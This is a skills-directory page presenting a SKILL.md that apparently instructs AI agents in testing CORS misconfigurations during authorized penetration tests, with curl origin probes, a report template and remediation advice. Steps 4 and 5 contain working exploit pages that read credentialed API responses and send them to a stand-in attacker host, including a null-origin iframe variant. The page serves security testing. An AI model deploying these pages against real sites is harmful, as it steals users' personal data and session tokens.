
testing-cors-misconfiguration
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
- Installs
- 469
- Last 24h
- —
- Trending rank
- —
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-cors-misconfiguration- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads testing-cors-misconfiguration automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
Testing CORS Misconfiguration
When to Use
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying Origin headers
- Browser with DevTools: For observing CORS behavior in real browser context
- Attacker web server: For hosting CORS exploitation PoC pages
- curl: For manual CORS header testing
- Python HTTP server: For hosting exploit pages locally
Workflow
Step 1: Identify CORS Configuration on Target Endpoints
Check all API endpoints for CORS response headers.
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
Step 2: Test Origin Reflection and Validation Bypass
Determine how the server validates the Origin header.
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
Step 3: Test Preflight Request Handling
Assess how the server handles OPTIONS preflight requests.
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
Step 4: Craft CORS Exploitation Proof of Concept
Build an HTML page that exploits the CORS misconfiguration to steal data.
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
Step 5: Exploit Null Origin Vulnerability
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->
Step 6: Test for Internal Network Access via CORS
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
Key Concepts
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | Access-Control-Allow-Origin: * allows any origin but prohibits credentials |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner (pip install corscanner) |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
Common Scenarios
Scenario 1: Full Origin Reflection
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
Scenario 2: Null Origin Allowed
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Scenario 3: Subdomain Wildcard Trust
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
Scenario 4: Regex Bypass on Origin Validation
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
Output Format
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
FAQ
What does the testing-cors-misconfiguration skill do?
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
How do I install testing-cors-misconfiguration?
Run npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-cors-misconfiguration in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/testing-cors-misconfiguration/ (personal) or .claude/skills/testing-cors-misconfiguration/ (project).
Which AI agents can use testing-cors-misconfiguration?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is testing-cors-misconfiguration safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains testing-cors-misconfiguration?
It is published by mukul975 in mukul975/anthropic-cybersecurity-skills. It has 469 recorded installs.
More from mukul975/anthropic-cybersecurity-skills
testing-api-security-with-owasp-top-10
mukul975/anthropic-cybersecurity-skills
Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.
analyzing-api-gateway-access-logs
mukul975/anthropic-cybersecurity-skills
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
analyzing-android-malware-with-apktool
mukul975/anthropic-cybersecurity-skills
Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
acquiring-disk-image-with-dd-and-dcfldd
mukul975/anthropic-cybersecurity-skills
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
performing-web-application-penetration-test
mukul975/anthropic-cybersecurity-skills
Performs systematic security testing of web applications following the OWASP Web Security Testing Guide (WSTG) methodology to identify vulnerabilities in authentication, authorization, input validation, session management, and business logic. The tester uses Burp Suite as the primary interception proxy alongside manual testing techniques to find flaws that automated scanners miss. Activates for requests involving web app pentest, OWASP testing, application security assessment, or web vulnerability testing.
testing-for-xss-vulnerabilities
mukul975/anthropic-cybersecurity-skills
Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.
Popular testing & qa skills
tdd
mattpocock/skills
Test-driven development. Use when the user wants to build features or fix bugs test-first, mentions "red-green-refactor", or wants integration tests.
grilling
mattpocock/skills
Grill the user relentlessly about a plan, decision, or idea. Use when the user wants to stress-test their thinking, or uses any 'grill' trigger phrases.
migrate-to-shoehorn
mattpocock/skills
Migrate test files from as type assertions to @total-typescript/shoehorn. Use when user mentions shoehorn, wants to replace as in tests, or needs partial test data.
run-train
lllllllama/rigorpilot-skills
Rigor Train skill for deep learning research repositories. Use when a documented or selected training command should be run conservatively for startup verification, short-run verification, full kickoff, or resume, with command, config, seed, log, checkpoint, status, and metric evidence written to standardized trainoutputs/. Do not use for environment setup, exploratory sweeps, speculative idea implementation, or end-to-end orchestration.
test-driven-development
obra/superpowers
Use when implementing any feature or bugfix, before writing implementation code
finishing-a-development-branch
obra/superpowers
Use when implementation is complete, all tests pass, and you need to decide how to integrate the work